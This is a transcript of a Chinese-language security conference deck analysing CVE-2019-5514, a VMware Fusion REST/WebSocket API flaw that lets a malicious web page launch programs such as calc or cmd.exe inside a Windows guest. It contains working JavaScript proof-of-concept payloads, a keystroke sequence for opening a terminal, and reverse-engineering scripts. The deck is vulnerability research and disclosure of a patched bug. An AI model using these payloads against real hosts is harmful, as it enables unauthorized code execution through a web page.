Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Bifröst 揭秘:VMware Fusion REST API 漏洞分析

cc
December 02, 2019

Bifröst 揭秘:VMware Fusion REST API 漏洞分析

虚拟化软件最常见的攻击面是客户机逃逸,但年初发现的一个有趣的 VMware Fusion 漏洞 CVE-2019-5514 却打破了这种刻板印象。通过物理机浏览恶意网页,可以稳定地在客户机内执行任意代码。通过逆向分析这个看似 Web 安全的问题,能让听众进一步了解这款桌面虚拟化软件的架构设计以及客户机的通信后门机制。

cc

December 02, 2019
Tweet

More Decks by cc

Other Decks in Programming

Transcript

  1. 技 / 术 / 论 / 坛
    Bifröst 揭秘:VMware Fusion REST API
    漏洞分析
    菜丝
    蚂蚁金服光年实验室安全专家

    View Slide

  2. 关于
    • @CodeColorist
    • 蚂蚁金服光年实验室安全专家
    • 发现和利用不同平台具有独创性的逻辑漏洞
    • 多个 Apple macOS / iOS,Microsoft / Adobe / VMware 等致谢
    • BlackHat 2017, HITBAms 2019, TyphoonCon 2019 等会议演讲者

    View Slide

  3. CONTENTS
    {目录}
    技 / 术 / 论 / 坛
    • 网络安全:从入门到放弃
    “彩虹桥”
    服务端逆向
    01
    02
    进程间通信
    客户机后门
    03
    04

    View Slide

  4. PART
    技 / 术 / 论 / 坛
    “彩虹桥”
    ONE

    View Slide

  5. Bifröst
    彩虹桥(Bifrost,Bifröst),“摇晃的天国道路” ,是连结阿斯嘉特和米德加尔特(中庭)的巨大彩虹桥

    View Slide

  6. Bifröst

    View Slide

  7. 桌面挂件
    • 于 VMware Fusion 11.x 引入
    • Electron
    • 控制虚拟机
    • 电源管理
    • 快照管理
    • 对于安装了 vmtools 的 Windows Guest,可以启动任意应用程序

    View Slide

  8. 服务端 API
    • 解包 /Applications/VMware
    Fusion.app/Contents/Library/VMwa
    re Fusion Applications
    Menu.app/Contents/Resources/app
    .asar
    • 包含 TypeScript 编译前原始代码
    (src/)
    • 从 8698 开始扫描可用端口,启动
    amsrv 服务端(src/index.ts)
    const execSync = require('child_process').execSync;
    let port = 8698; // The default port of vmrest is 8697
    let portFound = false;
    while (!portFound) {
    let stdout = execSync('lsof -i :' + port + ' | wc -l');
    if (parseInt(stdout) == 0) {
    portFound = true;
    } else {
    port++;
    }
    }
    // Let's store the chosen port to global
    global['port'] = port;
    const spawn = require('child_process').spawn;
    vmrest = spawn(path.join(__dirname, '../../../../../',
    'amsrv'), ['-D’, '-p', port]);

    View Slide

  9. 服务端 API
    • src/services/api.service.ts 提示了服务端的用法
    • 部分接口
    • /api/internal/vms 所有可用虚拟机
    • /api/internal/vms/{id} 虚拟机信息
    • /api/vms/{id}/ip 虚拟机 IP 地址
    • /ws 更复杂的 API

    View Slide

  10. 协议
    ➜ ~ sudo tcpview | grep VMware
    tcp 127.0.0.1:8698 18385 '/Applications/VMware Fusion.app/Contents/Library/amsrv' -D -p 8698
    VMware Fusion
    Applications
    Menu.app
    amsrv rest of VMware Fusion
    WebSocket IPC

    View Slide

  11. 漏洞
    • HTTP 接口(/API/*)开启了任意
    CORS
    • WebSocket 协议默认支持跨域
    • 除了本地的 Electron 之外,任意
    Web 浏览器均可访问此接口
    • “摇晃的天国道路”

    View Slide

  12. 弹计算器
    • 重放来自应用的报文
    {
    "name": "menu.onAction",
    "object": "56 4d c8 e7 bf 10 ab 10-98 6e 73 e5 2e 5a 98 a5",
    "userInfo": {
    "action": "launchGuestApp:",
    "vmUUID": "56 4d c8 e7 bf 10 ab 10-98 6e 73 e5 2e 5a 98 a5",
    "representedObject": "x-vmware-metroapp-
    execpath:///Microsoft.WindowsCalculator_8wekyb3d8bbwe!App"
    }
    }

    View Slide

  13. PoC
    const ws = new WebSocket(`ws://127.0.0.1:8698/ws`)
    ws.onopen = () => {
    ws.send(JSON.stringify({
    name: 'menu.onAction',
    object: '11 22 33 44 55 66 77 88-99 aa bb cc dd ee ff 00',
    userInfo: {
    action: 'launchGuestApp:',
    vmUUID: '11 22 33 44 55 66 77 88-99 aa bb cc dd ee ff 00',
    representedObject: 'calculator:'
    }
    }))
    }
    ws.onmessage = msg => {
    console.log(JSON.parse(msg.data))
    ws.close()
    }
    • 任意网页

    View Slide

  14. vmUUID?
    • launchGuestApp 方法需要 vmUUID
    • vmUUID 和 /api/internal/vms 下获取的 id 不是同一个
    • Electron 端获取逻辑
    • /api/internal/vms 获取 vm id 和属性文件 path(plist)
    • 直接解析 plist 获取 UUID
    • Exploit 无法读取本机 plist 文件

    View Slide

  15. 万能的网友
    • Csaba Fitzl(@theevilbit)分析找到了不需要 vmUUID 的方法

    View Slide

  16. Unauthenticated RCE
    • VM 列表接口获得的排序是稳定的
    • WebSocket 接口的 menu.selectIndex 操作用以选定特定的 index虚拟机
    • 传入 vms 中对应的 index 即可不用 vmUUID 指定虚拟机
    this.send({
    name: 'menu.selectIndex',
    userInfo: { selectedIndex: index }
    });
    const payload = {
    name: 'menu.onAction',
    userInfo: {
    action: 'launchGuestApp:',
    selectedIndex: i,
    representedObject: 'cmd.exe'
    }
    };

    View Slide

  17. PART
    技 / 术 / 论 / 坛
    服务端逆向
    TWO

    View Slide

  18. 服务端
    • vmsrv 只是一个 WatchDog,实际可执行文件为 vmrest
    $ redress -method -pkg -src -struct amsrv
    Packages:
    main
    watchDog
    Package main: /build/mts/release/bora-
    10952296/bora/apps/vmrest/src/amsrv
    File:
    init Lines: 1 to 1 (0)
    File: amsrv.go
    init0 Lines: 44 to 64 (20)
    main Lines: 64 to 106 (42)
    mainfunc1 Lines: 106 to 112 (6)
    Package watchDog: /build/mts/release/bora-
    10952296/bora/apps/vmrest/src/watchDog
    File:
    init Lines: 1 to 92 (91)
    File: watchDog.go
    (*Watchdog)Start Lines: 78 to 135 (57)
    (*Watchdog).Startfunc1 Lines: 85 to 115 (30)
    (*Watchdog).Start.func11 Lines: 86 to 88 (2)
    (*Watchdog)Stop Lines: 135 to 139 (4)

    View Slide

  19. 服务端分析
    • Use the VMware Workstation Pro REST API Service
    https://docs.vmware.com/en/VMware-Workstation-
    Pro/15.0/com.vmware.ws.using.doc/GUID-C3361DF5-A4C1-432E-850C-
    8F60D83E5E2B.html
    • 前文分析与文档行为有出入
    ➜ Library ./vmrest -h
    VMware Fusion REST API
    Copyright (C) 2015-2018 VMware Inc.
    All Rights Reserved
    vmrest 1.2.0 build-10952296
    Usage of ./vmrest:
    -D, --Daemon
    Internal usage
    -c, --cert-path
    REST API Server certificate path

    View Slide

  20. vmrest
    • 多语言混合编程
    • Golang
    • C (open-vm-tools)
    • Objective-C
    • Golang
    • 恢复符号
    • (部分)修复字符串
    • 分析工具
    • https://go-re.tk/gore/
    • https://github.com/goretk/redress
    • https://github.com/strazzere/golang_loader_assist
    • class-dump

    View Slide

  21. vmrest
    ➜ vmfusion redress -vendor -pkg vmrest
    Packages:
    main
    rest
    Vendors:
    github.com/gorilla/context
    github.com/gorilla/mux
    github.com/gorilla/websocket
    github.com/ogier/pflag
    Web 框架分析
    • gorilla/mux
    • gorilla/websocket

    View Slide

  22. 后端
    • main_registerAppMenuWebServerHandler
    • 注册 internal 服务路由,用于 Electron 内部使用
    • 需要使用 -D 参数启动
    • 没有任何认证
    • 除前文解包 Electron 应用后的四个 URL 路由,没有实现其他的功能

    View Slide

  23. 后端
    • main_registerApiWebServerHandler
    • 支持官方文档中所有功能,包括共享文件夹等复杂控制
    • 默认(不带 -D 参数)模式
    • 使用 rest__RestServer_BasicAuth 中间件函数,需要认证
    ➜ vmfusion redress -method -pkg -src vmrest
    (*RestServer)GetVmSharedFoldersHandler Lines: 119 to 191 (72)
    (*RestServer)CreateVmSharedFolderHandler Lines: 191 to 371 (180)
    (*RestServer).CreateVmSharedFolderHandlerfunc1 Lines: 272 to 273 (1)
    (*RestServer)DeleteVmSharedFolderHandler Lines: 371 to 472 (101)
    (*RestServer)UpdateVmSharedFolderHandler Lines: 472 to 480 (8)

    View Slide

  24. uiProxy::Cfunc_ProxyMessage
    • 大部分消息直接通
    过 IPC 转发到 UI
    进程
    • NSDistributedN
    otification
    • CFMessagePort

    View Slide

  25. PART
    技 / 术 / 论 / 坛
    进程间通信
    THREE

    View Slide

  26. The Big Picture
    VMware Fusion
    Applications
    Menu.app
    VMware
    Fusion
    (UIBroker)
    vmrest
    WebSocket CFMessagePort
    NSDistributedNo
    tification
    vmware-vmx
    Guest VM 1
    vmware-vmx
    Guest VM 2
    vmware-vmx
    Guest VM 3

    View Slide

  27. IPC
    VMIPCServer
    postMessage:synchronously:
    VMIPCClient
    VM_IPC_SendMessageToNamedPort
    • 基于 macOS 的 CFMessagePort
    • CFMessagePortCreateRemote
    • CFMessagePortSendRequest
    • Port 名为当前 Application 的 bundle id
    (com.vmware.fusion)
    • 消息序列化基于 CoreFoundation 的
    NSPropertyListSerialization

    View Slide

  28. 分析 CFMessagePort
    • 使用 frida.re 分析通信格式
    const kCFStringEncodingUTF8 = 0x08000100;
    const CFStringGetCStringPtr = new NativeFunction(Module.findExportByName(null, 'CFStringGetCStringPtr'),
    'pointer', ['pointer', 'uint32']);
    const NSPropertyListImmutable = 0;
    Interceptor.attach(Module.findExportByName(null, 'CFMessagePortCreateRemote'), {
    onEnter: function (args) {
    console.log('port:')
    console.log(Memory.readUtf8String(CFStringGetCStringPtr(args[1], kCFStringEncodingUTF8)))
    }
    })
    Interceptor.attach(Module.findExportByName(null, 'CFMessagePortSendRequest'), {
    onEnter: function (args) {
    console.log('msg:');
    const data = new ObjC.Object(args[2]);
    console.log(data);
    const format = Memory.alloc(Process.pointerSize);
    const err = Memory.alloc(Process.pointerSize);
    const dict = ObjC.classes.NSPropertyListSerialization.propertyListFromData_mutabilityOption_format_errorDescription_(data,
    NSPropertyListImmutable, format, err);
    console.log(dict);
    dict.release();
    }
    })

    View Slide

  29. 分析 CFMessagePort
    [Local::PID::54376]-> port:
    com.vmware.fusion
    msg:
    <62706c69 73743030 d4010203 04050610 115b7379 6e636872 6f6e6f75 73576d65
    73736167 6559636c 69656e74 4b657959 6d657373 61676549 4408d307 08090a0b 0c546e61
    6d65566f 626a6563 74587573 6572496e 666f5c6d 656e752e 72656672 6573685f 102f3536
    20346420 63382065 37206266 20313020 61622031 302d3938 20366520 37332065 35203265
    20356120 39382061 35d20d0e 0f0b5d73 656c6563 74656449 6e646578 56766d55 55494410
    0211d468 10170811 1d252f39 3a41464d 5663959a a8afb1b4 00000000 00000101 00000000
    00000012 00000000 00000000 00000000 000000b6>
    {
    clientKey = 54376;
    message = {
    name = "menu.refresh";
    object = "56 4d c8 e7 bf 10 ab 10-98 6e 73 e5 2e 5a 98 a5";
    userInfo = {
    selectedIndex = 2;
    vmUUID = "56 4d c8 e7 bf 10 ab 10-98 6e 73 e5 2e 5a 98 a5";
    };
    };
    messageID = 23;
    synchronous = 0;
    }
    几乎原样转发 WebSocket 报文

    View Slide

  30. IPC 接收端
    • 消息处理函数注册在一个 VMIPCCommon 对象实例
    • observerTable 属性是一个 NSDictionary 对象
    • key:NSConcreteValue 包裹的对象指针,指向 handler 类实例
    • value:VMIPCObserverEntry 对象
    • name 对应 WebSocket 协议 name 字段
    • selector 指定消息响应方法
    • -[VMIPCCommon dispatchMessageToLocalListeners:] 派遣消息到具体方法

    View Slide

  31. 消息例程
    const common = ObjC.chooseSync(ObjC.classes.VMIPCCommon)[0]
    const dict = common.observerTable();
    const enumerator = dict.keyEnumerator();
    var key;
    var p = Memory.alloc(Process.pointerSize);
    while ((key = enumerator.nextObject()) !== null) {
    p.writePointer(NULL);
    key.getValue_(p);
    console.log('target:', new ObjC.Object(p.readPointer()));
    console.log('methods:');
    const array = dict.objectForKey_(key);
    const count = array.count();
    for (var i = 0; i < count; i++) {
    const entry = array.objectAtIndex_(i);
    console.log(' ', ObjC.selectorAsString(entry.selector()), entry.name())
    }
    }
    target:
    methods:
    • onMenuAction: menu.onAction
    • onRefreshMenus: menu.refresh
    • onShowMenuSettings: menu.settings
    • onSelectIndex: menu.selectIndex
    • onMenuDidClose: menu.didClose
    • DUIDockerControllerProxy
    • VMIPCServer
    • DUIDockerDnDProxy
    • PLVMStartMenuProxy
    • DUIDockerAppProxy

    View Slide

  32. 菜单操作
    • DUIVMActionController 实现虚拟机控制的菜单
    • 除 launchGuestApp 之外还有许多其他操作
    • 使用 -[PLVMActionController
    enabledStateForAction:from:] 校验 selector 参数
    @interface DUIVMActionController : DUIActionController

    - (void)togglePause:(id)arg1;
    - (void)installVirtualPrinter:(id)arg1;
    - (void)toggleToolsInstall:(id)arg1;
    - (void)onSendKey:(id)arg1;
    - (void)sendCtrlAltDel:(id)arg1;
    ...

    View Slide

  33. 校验 selector 参数
    • 只有符合条件的 selector 才会
    被转发到
    DUIVMActionController 实例上

    View Slide

  34. vmUUID 和 selectedIndex
    • 一开始 poc 提到的 WebSocket 报文格式
    • -[PLVMStartMenuManager nodeFromInfo:]
    • UUID 最后还是会转成 index

    View Slide

  35. PART
    技 / 术 / 论 / 坛
    客户机后门
    FOUR

    View Slide

  36. IPC
    Windows Guest macOS Host
    vmware-vmx VMware Fusion
    vmtoolsd.exe RPCI
    TCLO
    vmdb libvmwareui!cui::*
    hgfs
    plugin
    unity
    plugin
    ...
    RPCI 是传统的客户机逃逸攻击对象,但我们这次利用的漏洞确是反其道行之的 TCLO 通道

    View Slide

  37. VMDB
    • 类似 key-value 的“数据库”
    • Redux for VMware
    • VMware Hypervisor 进程和 vmx 进程通信的基础
    • 使用树状的 key 描述一个路径
    • 例如:vmx/vigor/fields/Audio/
    • 还支持类似 SQL 的查询方式
    • 可通过 Vmdb_RegisterCallback 监视特定 key 的变更

    View Slide

  38. TCLO
    • open-vm-tools/open-vm-tools/lib/rpcIn/rpcin.c
    • 同 RPCI,仍然是基于 Backdoor
    • RpcInOpenChannel
    • Message_Open('TCLO')
    • Message_OpenAllocated
    • Backdoor
    • Channel magic 为 0x4f4c4354 (‘TCLO’),而 RPCI 是 0x49435052
    • 基于 glib 的 event loop 轮询和分发消息
    • 函数 RpcChannel_RegisterCallback 针对不同的命令注册回调

    View Slide

  39. VMTools
    • 两个进程,特权(SYSTEM)和用户权限
    • C:\Program Files\VMware\VMware Tools\plugins\{vmsrc,vmusr}
    • runGuestApp 功能使用 vmusr 的 unity.dll 扩展

    View Slide

  40. MAPPING = {
    'g_log': 'r9',
    'Debug': 'rdx',
    'Warning': 'rdx',
    'Log': 'rdx',
    }
    for name, reg in MAPPING.items():
    for xref in XrefsTo(ida_name.get_name_ea(BADADDR, name), 0):
    if not xref.iscode:
    continue
    ea = xref.frm
    old_name = idc.get_func_name(ea)
    if old_name and not old_name.startswith('sub_'):
    continue
    start = idc.get_func_attr(ea, FUNCATTR_START)
    curr = ea
    while curr > start:
    # lea r9, [xxx]
    if idc.print_insn_mnem(curr) == 'lea' and ida_idp.get_reg_name(id
    c.get_operand_value(curr, 0), 8) == reg:
    p = idc.get_operand_value(curr, 1)
    if not p:
    break
    symbol = idc.get_strlit_contents(p)
    if symbol:
    ida_name.set_name(start, sanitize(symbol))
    break
    curr = idc.prev_head(curr)
    还原符号

    View Slide

  41. 注册功能回调
    • Host 下发的命令中指定功能名
    和参数
    • RCE 接口:
    • 命令 unity.shell.open
    • 对应函数 GHITcloShellOpen

    View Slide

  42. GHIPlatformShellCommandRun
    • 不是简单传入 ShellExecute,解析了一些特定命令
    • x-vmware-share:// 在客户机中打开 HGFS 共享目录
    • x-vmware-menuitem:///{computer,documents,network,control-
    panel,printers,search,run,}模拟“开始菜单”的特殊 URL
    • 当命令中含有“.”字符时,才会将命令带 argv 的形式传给子进程
    • cmd /c calc ❌
    • cmd.exe /k calc ✔

    View Slide

  43. 非 Windows 客户机
    • 非 Windows 客户机不支持 launchGuestApp
    • 已于 2008 年移除 Linux 客户机的 UNITY_RPC_SHELL_OPEN 等功能
    https://github.com/vmware/open-vm-
    tools/commit/b0ef27f773c3af4b6b9c38600d9acbbc73ac6838
    • 仍有部分功能被支持
    • onSendKey:
    • sendCtrlAltDel:
    • 发送按键序列打开 terminal
    const keys = [
    0x15b, // WinKey
    0x014, // T
    0x012, // E
    0x013, // R
    0x032, // M
    // 0x017, // I
    // 0x031, // N
    // 0x01e, // A
    // 0x026, // L
    0x01c, // Enter
    0x017, // I
    0x020, // D
    0x01c, // Enter
    ]

    View Slide

  44. Demo

    View Slide

  45. Patch
    • VMware Fusion 11.0.3 修复此问题
    • 公告:https://www.vmware.com/security/advisories/VMSA-2019-0005.html
    • 在 API 中引入了随机字符串 token
    • 检查 Origin 是否为 file:///

    View Slide

  46. 小结
    • 内容
    • VMware 在主流安全研究视角之外的问题
    • Electron (node.js) + Golang + Objective-C 混合编程的逆向工程
    • 简单介绍 vmdb,TCLO 等内部机制
    • 结论
    • Web 技术在桌面端的应用将引入更大的攻击面
    • 有时看似简单的漏洞利用可能牵涉到大量的分析工作

    View Slide

  47. 参考资料
    • For the Greater Good: Leveraging VMware's RPC Interface for fun and profit
    https://2017.zeronights.org/report/greater-good-leveraging-vmwares-rpc-
    interface-fun-profit/
    • Dissection de l'hyperviseur Vmware
    https://www.sstic.org/media/SSTIC2019/SSTIC-
    actes/dissection_de_lhyperviseur_vmware/SSTIC2019-Slides-
    dissection_de_lhyperviseur_vmware-lhelgouarch_PfnJsxX.pdf
    • VMware technical Papers
    https://www.vmware.com/techpapers.html
    • 利用一个堆溢出漏洞实现 VMware 虚拟机逃逸
    https://zhuanlan.zhihu.com/p/27733895
    • VMware Fusion 11 - Guest VM RCE - CVE-2019-5514
    https://theevilbit.github.io/posts/vmware_fusion_11_guest_vm_rce_cve-2019-5514/

    View Slide

  48. rwctf{7H4NKS}

    View Slide